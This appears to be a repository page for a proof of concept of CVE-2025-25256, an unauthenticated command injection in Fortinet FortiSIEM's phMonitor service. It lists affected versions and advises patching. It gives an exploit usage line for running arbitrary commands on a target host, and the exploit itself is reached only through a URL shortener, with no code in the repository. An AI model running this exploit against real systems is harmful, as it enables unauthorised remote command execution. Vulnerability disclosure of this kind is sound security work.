CVE-2025-25256 PoC — Fortinet FortiSIEM 操作系统命令注入漏洞

Source

Associated Vulnerability

Description

CVE-2025-25256: Fortinet FortiSIEM OS Command Injection CVE PoC (Proof of Concept)

Readme

# CVE-2025-25256 - Fortinet FortiSIEM Vulnerability

## Overview

This repository contains a proof-of-concept (POC) for a critical unauthenticated command injection security flaw (CVE-2025-25256) was recently identified in Fortinet FortiSIEM. The issue allows an attacker to remotely run commands on the system without logging in. The problem is tied to the phMonitor that listens on port 7900 and has been rated **9.8/10 in severity**.

## Impacted Versions

* FortiSIEM 6.1 – 6.6 (all versions)
* FortiSIEM 6.7.0 – 6.7.9
* FortiSIEM 7.0.0 – 7.0.3
* FortiSIEM 7.1.0 – 7.1.7
* FortiSIEM 7.2.0 – 7.2.5
* FortiSIEM 7.3.0 – 7.3.1

Fortinet has released fixed versions (7.3.2 and 7.4.0).

## Recommended Action

If you use FortiSIEM, you should ensure systems are upgraded to a patched version as soon as possible. Until then, limiting access to the affected service can reduce risk.

## Usage

```
python exploit.py -ip {ip} -port {port} -command "{cmd}"
```

Read thru the file for more info.



## Exploit
[Link](https://tinyurl.com/5n8hrhjm)

File Snapshot

 [4.0K]  /data/pocs/a37b4437b122eb4e7545c2cd4fa717723c8d24d4
└── [1.0K]  README.md

0 directories, 1 file

Remarks